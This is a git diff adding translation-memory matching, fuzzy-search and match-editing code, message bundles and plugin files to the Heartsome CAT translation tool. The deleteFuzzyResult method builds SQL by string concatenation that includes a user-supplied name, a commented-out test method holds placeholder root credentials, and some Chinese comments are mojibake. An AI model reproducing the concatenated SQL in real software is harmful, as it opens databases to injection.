getMaxMatchSize() { + return transParameters.getMaxMatchSize(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.translation.ITmMatch.ITmTranslation#findMatch() + */ + public Vector> findMatch() { + Vector> matchsVector = new Vector>(); + List dbList = tmDbOperatorManager.getDbOperatorList(); + if (dbList.size() == 0) { + return matchsVector; + } + + String pureText = tuInfoBean.getSrcPureText(); + String fullText = tuInfoBean.getSrcFullText(); + String srcLang = Utils.convertLangCode(tuInfoBean.getSrcLanguage()); + String tgtLang = Utils.convertLangCode(tuInfoBean.getTgtLangugage()); + String preContext = tuInfoBean.getPreContext(); + String nextContext = tuInfoBean.getNextContext(); + + int maxMatchSize = transParameters.getMaxMatchSize(); + int contextSize = transParameters.getContextSize(); + int minSimilarity = transParameters.getMinSimilarity(); + boolean isCaseSensitive = transParameters.isCaseSensitive(); + boolean isIgnoreTag = transParameters.isIgnoreTag(); + + if (pureText == null || pureText.equals("") || srcLang == null || srcLang.equals("") || tgtLang == null + || tgtLang.equals("")) { + return matchsVector; + } + + for (int i = 0; i < dbList.size(); i++) { + try { + matchsVector.addAll(dbList.get(i).findMatch_1(pureText, fullText, srcLang, tgtLang, minSimilarity, + isCaseSensitive, maxMatchSize, contextSize, preContext, nextContext, isIgnoreTag)); + } catch (SQLException e) { + logger.error(Messages.getString("match.TmMatcher.logger1"), e); + continue; + } + } + if (matchsVector.size() > 1) { + Collections.sort(matchsVector, new FindMatchComparator()); + checkMaxMatchSize(matchsVector); + } + return matchsVector; + } + + public List fuzzySearch() { + int maxMatchSize = transParameters.getMaxMatchSize(); + int contextSize = transParameters.getContextSize(); + int minSimilarity = transParameters.getMinSimilarity(); + int tagPelanty = transParameters.getTagPenalty(); + boolean isCaseSensitive = transParameters.isCaseSensitive(); + boolean isIgnoreTag = transParameters.isIgnoreTag(); + + FuzzySearchResults results = new FuzzySearchResults(tmDbOperatorManager.getDefaultDbName(), + transParameters.getMatchSortStrategry(), maxMatchSize); + List dbList = tmDbOperatorManager.getDbOperatorList(); + if (dbList.size() == 0) { + return results.getSearchResult(); + } + + String pureText = tuInfoBean.getSrcPureText(); + String fullText = tuInfoBean.getSrcFullText(); + String srcLang = Utils.convertLangCode(tuInfoBean.getSrcLanguage()); + String tgtLang = Utils.convertLangCode(tuInfoBean.getTgtLangugage()); + String preContext = tuInfoBean.getPreContext(); + String nextContext = tuInfoBean.getNextContext(); + + if (pureText == null || pureText.equals("") || srcLang == null || srcLang.equals("") || tgtLang == null + || tgtLang.equals("")) { + return results.getSearchResult(); + } + for (int i = 0; i < dbList.size(); i++) { + try { + dbList.get(i).fuzzySearch(pureText, fullText, srcLang, tgtLang, minSimilarity, isCaseSensitive, + maxMatchSize, contextSize, preContext, nextContext, isIgnoreTag, results, tagPelanty); + + results.sort(); + results.clearResults(); + + } catch (SQLException e) { + logger.error(Messages.getString("match.TmMatcher.logger1"), e); + continue; + } + } + results.sort(); + results.clearResults(); + return results.getSearchResult(); + } + + public List translationUnitAnalysis() { + int maxMatchSize = transParameters.getMaxMatchSize(); + int contextSize = transParameters.getContextSize(); + int minSimilarity = transParameters.getMinSimilarity(); + int tagPelanty = transParameters.getTagPenalty(); + boolean isCaseSensitive = transParameters.isCaseSensitive(); + boolean isIgnoreTag = transParameters.isIgnoreTag(); + + TranslationUnitAnalysisResults results = new TranslationUnitAnalysisResults( + tmDbOperatorManager.getDefaultDbName(), transParameters.getMatchSortStrategry(), maxMatchSize); + List dbList = tmDbOperatorManager.getDbOperatorList(); + if (dbList.size() == 0) { + return results.getAnaylysisResults(); + } + + String pureText = tuInfoBean.getSrcPureText(); + String fullText = tuInfoBean.getSrcFullText(); + String srcLang = Utils.convertLangCode(tuInfoBean.getSrcLanguage()); + String tgtLang = Utils.convertLangCode(tuInfoBean.getTgtLangugage()); + String preContext = tuInfoBean.getPreContext(); + String nextContext = tuInfoBean.getNextContext(); + + if (pureText == null || pureText.equals("") || srcLang == null || srcLang.equals("") || tgtLang == null + || tgtLang.equals("")) { + return results.getAnaylysisResults(); + } + for (int i = 0; i < dbList.size(); i++) { + try { + dbList.get(i).translationUnitAnalysis(pureText, fullText, srcLang, tgtLang, minSimilarity, + isCaseSensitive, maxMatchSize, contextSize, preContext, nextContext, isIgnoreTag, results, + tagPelanty); + + results.sort(); + results.clearResults(); + + } catch (SQLException e) { + logger.error(Messages.getString("match.TmMatcher.logger1"), e); + continue; + } + } + results.sort(); + results.clearResults(); + return results.getAnaylysisResults(); + } + + /** + * 查找匹é…结果排åºå™¨, 按匹é…çŽ‡ç”±é«˜åˆ°ä½ŽæŽ’åº + * @author Jason + * @version + * @since JDK1.6 + */ + private final class FindMatchComparator implements Comparator> { + private int matchSortStrategry = 0; + + public FindMatchComparator() { + matchSortStrategry = transParameters.getMatchSortStrategry(); + } + + public int compare(Hashtable a, Hashtable b) { + Integer a1 = Integer.parseInt(a.get("similarity")); + Integer b1 = Integer.parseInt(b.get("similarity")); + + if (a1 < b1) { + return 1; + } else if (a1 == b1) { + if (matchSortStrategry == TMPreferenceConstants.DEFAULT_DB_PRECEDENCE) { + // sort by default database + String dbName = b.get("dbName"); + if (dbName.equals(tmDbOperatorManager.getDefaultDbName())) { + return -1; + } + } else if (matchSortStrategry == TMPreferenceConstants.DATE_REVERSE_PRECEDENCE) { + // sort by update date + String t1Str = a.get("tgtChangeDate"); + String t2Str = b.get("tgtChangeDate"); + if (t1Str.length() != 0 && t2Str.length() != 0) { + Timestamp t1 = DateUtils.getTimestampFromUTC(t1Str); + Timestamp t2 = DateUtils.getTimestampFromUTC(t2Str); + return t2.compareTo(t1); + + } else if (t1Str.length() == 0 && t2Str.length() != 0) { + return -1; + } + } + return 0; + } else { + return -1; + } + } + } + + /** + * ä¿ç•™æœ€å¤§ä¸Šé™åŒ¹é…æ•°é‡ + * @param tmpVector + * ; + */ + private void checkMaxMatchSize(List tmpVector) { + int size = tmpVector.size(); + while (size > transParameters.getMaxMatchSize()) { + size--; + tmpVector.remove(size); + } + } + + public int getContextSize() { + return transParameters.getContextSize(); + } + + public void clearResource() { + tmDbOperatorManager.clearResources(); + transParameters.clearResources(); + super.tuInfoBean.resetTuInfo(); + + } + + public void clearDbResource() { + tmDbOperatorManager.clearResources(); + } + + public void setCustomeMatchParameters(int maxMatchSize, boolean isIgnoreTag, int minSimilarity, + boolean isCaseSensitive, int contextSize, int tagPenalty) { + this.transParameters.clearResources(); + this.transParameters = new TmTransParamsBean(maxMatchSize, isIgnoreTag, minSimilarity, isCaseSensitive, + contextSize, tagPenalty); + } + + public void setCustomeMatchParameters(int maxMatchSize, int minSimilarity) { + boolean pIsIgnoreTag = this.transParameters.isIgnoreTag(); + int pContextSize = this.transParameters.getContextSize(); + boolean pIsCaseSensitive = this.transParameters.isCaseSensitive(); + int tagPenalty = this.transParameters.getTagPenalty(); + this.transParameters.clearResources(); + this.transParameters = new TmTransParamsBean(maxMatchSize, pIsIgnoreTag, minSimilarity, pIsCaseSensitive, + pContextSize, tagPenalty); + } + + public boolean isIgnoreTag() { + return this.transParameters.isIgnoreTag(); + } + + public int getMinMatchQuality() { + return this.transParameters.getMinSimilarity(); + } + + public void deleteFuzzyResult(FuzzySearchResult fr) throws Exception { + Object obj = fr.getDbOp(); + if (obj == null) { + throw new Exception(Messages.getString("match.TmMatcher.deleteFuzzyResult.msg1")); + } + DBOperator dbOp = (DBOperator) obj; + boolean needEnd = false; + Statement stmt = null; + ResultSet rs = null; + try { + if (dbOp.isClosed()) { + needEnd = true; + dbOp.start(); + } + int tuDbPk = fr.getTu().getTmId(); + int srcDbPk = fr.getTu().getSource().getDbPk(); + int tgtDbPk = fr.getTu().getTarget().getDbPk(); + + String sql = "SELECT COUNT(*) FROM TEXTDATA WHERE GROUPID = " + tuDbPk + " AND TYPE = 'M'"; + Connection conn = dbOp.getConnection(); + if (conn == null || conn.isClosed()) { + throw new Exception(Messages.getString("match.TmMatcher.deleteFuzzyResult.msg2")); + } + stmt = conn.createStatement(); + rs = stmt.executeQuery(sql); + int count = 0; + if (rs.next()) { + count = rs.getInt(1); + } + rs.close(); + stmt.close(); + if (count == 0) { + throw new Exception(Messages.getString("match.TmMatcher.deleteFuzzyResult.msg3")); + } else if (count > 2) { + // 删除对应的语言 + dbOp.beginTransaction(); + dbOp.deleteAllTuvRelations(Arrays.asList(tgtDbPk), fr.getTu().getTarget().getLangCode()); + + sql = "UPDATE MTU SET CHANGEID = '" + fr.getTu().getChangeUser() + "', CHANGEDATE = '" + + DateUtils.getTimestampFromUTC(fr.getTu().getChangeDate()) + "' WHERE MTUPKID = " + tuDbPk; + stmt = conn.createStatement(); + stmt.executeUpdate(sql); + dbOp.commit(); + } else { + // 删除整个 TU + dbOp.beginTransaction(); + stmt = conn.createStatement(); + + sql = "DELETE FROM MTU WHERE MTUPKID = " + tuDbPk; + stmt.addBatch(sql); + sql = "DELETE FROM MPROP WHERE PARENTNAME = 'TU' AND PARENTID = " + tuDbPk; + stmt.addBatch(sql); + sql = "DELETE FROM MNOTE WHERE PARENTNAME = 'TU' AND PARENTID = " + tuDbPk; + stmt.addBatch(sql); + sql = "DELETE FROM MEXTRA WHERE PARENTNAME = 'TU' AND PARENTID = " + +tuDbPk; + stmt.executeBatch(); + + dbOp.deleteAllTuvRelations(Arrays.asList(srcDbPk), fr.getTu().getSource().getLangCode()); + dbOp.deleteAllTuvRelations(Arrays.asList(tgtDbPk), fr.getTu().getTarget().getLangCode()); + + dbOp.commit(); + } + } catch (Exception e) { + logger.error("delete TM in db error", e); + try { + dbOp.rollBack(); + } catch (SQLException e1) { + logger.error("delete tm DB rollback error", e); + } + throw e; + } finally { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + logger.error("delete TM stmt close error", e); + } + } + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + logger.error("delete TM ResultSet close error", e); + } + } + if (needEnd) { + try { + dbOp.end(); + } catch (SQLException e) { + logger.error("delete TM DB close conneciton error", e); + } + } + if (needEnd) { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + logger.error("delete TM DB close conneciton error", e); + } + } + } + } + + public void updateFuzzyResult(FuzzySearchResult fr) throws Exception { + Object obj = fr.getDbOp(); + if (obj == null) { + throw new Exception(Messages.getString("match.TmMatcher.updateFuzzyResult.msg1")); + } + DBOperator dbOp = (DBOperator) obj; + boolean needEnd = false; + PreparedStatement stmt = null; + try { + if (dbOp.isClosed()) { + needEnd = true; + dbOp.start(); + } + int tuDbPk = fr.getTu().getTmId(); + int srcDbPk = fr.getTu().getSource().getDbPk(); + int tgtDbPk = fr.getTu().getTarget().getDbPk(); + Connection conn = dbOp.getConnection(); + if (conn == null || conn.isClosed()) { + throw new Exception(Messages.getString("match.TmMatcher.updateFuzzyResult.msg2")); + } + dbOp.beginTransaction(); + dbOp.deleteAllTuvRelations(Arrays.asList(srcDbPk), fr.getTu().getSource().getLangCode()); + dbOp.deleteAllTuvRelations(Arrays.asList(tgtDbPk), fr.getTu().getTarget().getLangCode()); + TmxContexts contexts = fr.getTu().getContexts(); + saveTuv(dbOp, tuDbPk, fr.getTu().getSource(), contexts == null ? null : contexts.getPreContext(), + contexts == null ? null : contexts.getNextContext()); + saveTuv(dbOp, tuDbPk, fr.getTu().getTarget(), null, null); + + String sql = "UPDATE MTU SET CHANGEID = ?, CHANGEDATE = ? WHERE MTUPKID = ? "; + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, fr.getTu().getChangeUser()); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(fr.getTu().getChangeDate())); + stmt.setInt(i++, tuDbPk); + stmt.executeUpdate(); + dbOp.commit(); + } catch (Exception e) { + logger.error("delete TM in db error", e); + try { + dbOp.rollBack(); + } catch (SQLException e1) { + logger.error("delete tm DB rollback error", e); + } + throw e; + } finally { + // ä¿®å¤ Bug #3064 编辑匹é…--æ›´æ¢è®°å¿†åº“åŽå†ç¼–辑原记忆库匹é…,出现异常.连接释放问题 + // sqlite 必须先è¦é‡Šæ”¾ Statement 然åŽå†å…³é—­è¿žæŽ¥ + + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + logger.error("delete TM stmt close error", e); + } + } + if (needEnd) { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + logger.error("delete TB DB close conneciton error", e); + } + } + } + } + + private void saveTuv(DBOperator dbOp, int tuPk, TmxSegement tuv, String preContext, String nextContext) + throws Exception { + String pureText = tuv.getPureText(); + String hash = pureText == null ? null : pureText.hashCode() + ""; + try { + dbOp.insertTextData("M", tuPk, hash, pureText, tuv.getFullText(), Utils.convertLangCode(tuv.getLangCode()), + preContext == null ? "" : preContext, nextContext == null ? "" : nextContext); + } catch (Exception e) { + throw e; + } + } + + // public static void main(String[] arg) throws SQLException, ClassNotFoundException{ + // String driver = "com.mysql.jdbc.Driver"; + // String url = "jdbc:mysql://127.0.0.1:3306/test5"; + // String name = "root"; + // String pw = "root"; + // + // Class.forName(driver); + // Connection conn = DriverManager.getConnection(url,name,pw); + // + // TmxTU tu = new TmxTU(); + // tu.setTmId(1); + // TmxSegement source = new TmxSegement(); + // source.setDbPk(1); + // source.setLangCode("en-US"); + // TmxSegement target = new TmxSegement(); + // target.setDbPk(2); + // target.setLangCode("zh-CN"); + // tu.setSource(source); + // tu.setTarget(target); + // FuzzySearchResult fr = new FuzzySearchResult(tu); + // + // TmMatcher tm = new TmMatcher(); + // tm.deleteFuzzyResult(fr, conn); + // } + +} diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/Messages.java b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/Messages.java new file mode 100644 index 0000000..f3ff7e4 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.tm.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.tm.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message.properties b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message.properties new file mode 100644 index 0000000..882b280 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message.properties @@ -0,0 +1,7 @@ +tm.TmDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tm.TmDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +importer.TmImporter.logger1 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TmImporter.logger2 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 + +match.TmMatcher.logger1 = [LOG] \u67e5\u8be2\u6570\u636e\u5e93\u51fa\u9519 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_en.properties b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_en.properties new file mode 100644 index 0000000..94607d4 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_en.properties @@ -0,0 +1,7 @@ +tm.TmDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tm.TmDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +importer.TmImporter.logger1 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TmImporter.logger2 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 + +match.TmMatcher.logger1 = [LOG] \u67e5\u8be2\u6570\u636e\u5e93\u51fa\u9519 diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_zh.properties b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_zh.properties new file mode 100644 index 0000000..2527b47 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/resource/message_zh.properties @@ -0,0 +1,15 @@ +tm.TmDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tm.TmDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +importer.TmImporter.logger1 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TmImporter.logger2 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 + +match.TmMatcher.logger1 = [LOG] \u67e5\u8be2\u6570\u636e\u5e93\u51fa\u9519 + +## 2013-04-01 Add by Jason +match.TmMatcher.updateFuzzyResult.msg1 = \u8bf7\u9009\u62e9\u6765\u81ea\u8bb0\u5fc6\u5e93\u7684\u5b9e\u65f6\u5339\u914d\u3002 +match.TmMatcher.updateFuzzyResult.msg2 = \u65e0\u6cd5\u8fde\u63a5\u5230\u4fdd\u5b58\u8be5\u5339\u914d\u7684\u8bb0\u5fc6\u5e93\u3002 + +match.TmMatcher.deleteFuzzyResult.msg1 = \u8bf7\u9009\u62e9\u6765\u81ea\u8bb0\u5fc6\u5e93\u7684\u5b9e\u65f6\u5339\u914d\u3002 +match.TmMatcher.deleteFuzzyResult.msg2 = \u65e0\u6cd5\u8fde\u63a5\u5230\u4fdd\u5b58\u8be5\u5339\u914d\u7684\u8bb0\u5fc6\u5e93\u3002 +match.TmMatcher.deleteFuzzyResult.msg3 =\u672a\u5728\u8bb0\u5fc6\u5e93\u4e2d\u627e\u5230\u8be5\u5339\u914d\uff0c\u53ef\u80fd\u5df2\u88ab\u5176\u4ed6\u7528\u6237\u5220\u9664\u3002 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/.classpath b/database/net.heartsome.cat.database.ui.tb/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/database/net.heartsome.cat.database.ui.tb/.project b/database/net.heartsome.cat.database.ui.tb/.project new file mode 100644 index 0000000..8c9febd --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database.ui.tb + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.ui.tb/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.ui.tb/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.ui.tb/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.ui.tb/META-INF/MANIFEST.MF new file mode 100644 index 0000000..da4303b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/META-INF/MANIFEST.MF @@ -0,0 +1,40 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database UI TermBase +Bundle-SymbolicName: net.heartsome.cat.database.ui.tb;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130424 +Bundle-Activator: net.heartsome.cat.database.ui.tb.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.database;bundle-version="1.0.0", + org.eclipse.core.databinding;bundle-version="1.4.0", + org.eclipse.core.databinding.beans;bundle-version="1.2.100", + org.eclipse.jface.databinding;bundle-version="1.5.0", + org.eclipse.core.databinding.property;bundle-version="1.4.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + org.eclipse.nebula.widgets.grid;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.database.ui.bean, + net.heartsome.cat.database.ui.core, + net.heartsome.cat.database.ui.dialog, + net.heartsome.cat.ts.core, + net.heartsome.cat.ts.core.bean, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.editors, + net.heartsome.cat.ts.ui.extensionpoint, + net.heartsome.cat.ts.ui.grid, + net.heartsome.cat.ts.ui.util, + net.heartsome.cat.ts.util +Export-Package: net.heartsome.cat.database.ui.tb +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.ui.tb/build.properties b/database/net.heartsome.cat.database.ui.tb/build.properties new file mode 100644 index 0000000..76e0813 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/database-manage.png b/database/net.heartsome.cat.database.ui.tb/images/database/database-manage.png new file mode 100644 index 0000000..3e1ac9a Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/database-manage.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/internaldb.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/internaldb.png new file mode 100644 index 0000000..7c1a1f6 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/internaldb.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/ip.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/ip.png new file mode 100644 index 0000000..42ae4a0 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/ip.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/mysql.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/mysql.png new file mode 100644 index 0000000..a7a8319 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/mysql.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/oracle.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/oracle.png new file mode 100644 index 0000000..1797efe Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/oracle.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/postgresql.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/postgresql.png new file mode 100644 index 0000000..4b72d2f Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/postgresql.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlite.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlite.png new file mode 100644 index 0000000..bd87be5 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlite.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlserver.png b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlserver.png new file mode 100644 index 0000000..963a5ae Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/db-manage/sqlserver.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/export-tbx.png b/database/net.heartsome.cat.database.ui.tb/images/database/export-tbx.png new file mode 100644 index 0000000..1bd7ef0 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/export-tbx.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/import-tbx.png b/database/net.heartsome.cat.database.ui.tb/images/database/import-tbx.png new file mode 100644 index 0000000..fbe5702 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/import-tbx.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/new-project/checked.gif b/database/net.heartsome.cat.database.ui.tb/images/database/new-project/checked.gif new file mode 100644 index 0000000..e556e7d Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/new-project/checked.gif differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/database/new-project/unchecked.gif b/database/net.heartsome.cat.database.ui.tb/images/database/new-project/unchecked.gif new file mode 100644 index 0000000..342fa9d Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/database/new-project/unchecked.gif differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/dialog/change-lang.png b/database/net.heartsome.cat.database.ui.tb/images/dialog/change-lang.png new file mode 100644 index 0000000..fe7a4be Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/dialog/change-lang.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/dialog/import-tbx-logo.png b/database/net.heartsome.cat.database.ui.tb/images/dialog/import-tbx-logo.png new file mode 100644 index 0000000..bb21918 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/dialog/import-tbx-logo.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/dialog/new-termdb-logo.png b/database/net.heartsome.cat.database.ui.tb/images/dialog/new-termdb-logo.png new file mode 100644 index 0000000..123ceef Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/dialog/new-termdb-logo.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/new_tb.png b/database/net.heartsome.cat.database.ui.tb/images/new_tb.png new file mode 100644 index 0000000..b168b19 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/new_tb.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_database_32.png b/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_database_32.png new file mode 100644 index 0000000..e888320 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_database_32.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_update_32.png b/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_update_32.png new file mode 100644 index 0000000..3d3e00b Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/preference/tb/tb_update_32.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/tool/tb-find.png b/database/net.heartsome.cat.database.ui.tb/images/tool/tb-find.png new file mode 100644 index 0000000..8ed07e1 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/tool/tb-find.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/images/translate/search tb.png b/database/net.heartsome.cat.database.ui.tb/images/translate/search tb.png new file mode 100644 index 0000000..e6933f2 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tb/images/translate/search tb.png differ diff --git a/database/net.heartsome.cat.database.ui.tb/plugin.properties b/database/net.heartsome.cat.database.ui.tb/plugin.properties new file mode 100644 index 0000000..689c031 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/plugin.properties @@ -0,0 +1,17 @@ +newWizard.tb = \u672f\u8bed\u5e93... +newWizard.tb.description = \u65b0\u5efa\u4e00\u4e2a\u672f\u8bed\u5e93\uff0c\u7528\u4ee5\u4fdd\u5b58\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u672f\u8bed\u3002 +command.newTB = \u672f\u8bed\u5e93 +toolbar.newTB = \u672f\u8bed\u5e93 + +menu.translation.tbSearch = \u672f\u8bed\u641c\u7d22... +toolBar.tbSearch = \u672f\u8bed\u641c\u7d22 +command.tbSearch = \u672f\u8bed\u641c\u7d22 + +menu.translation.termDbManage = 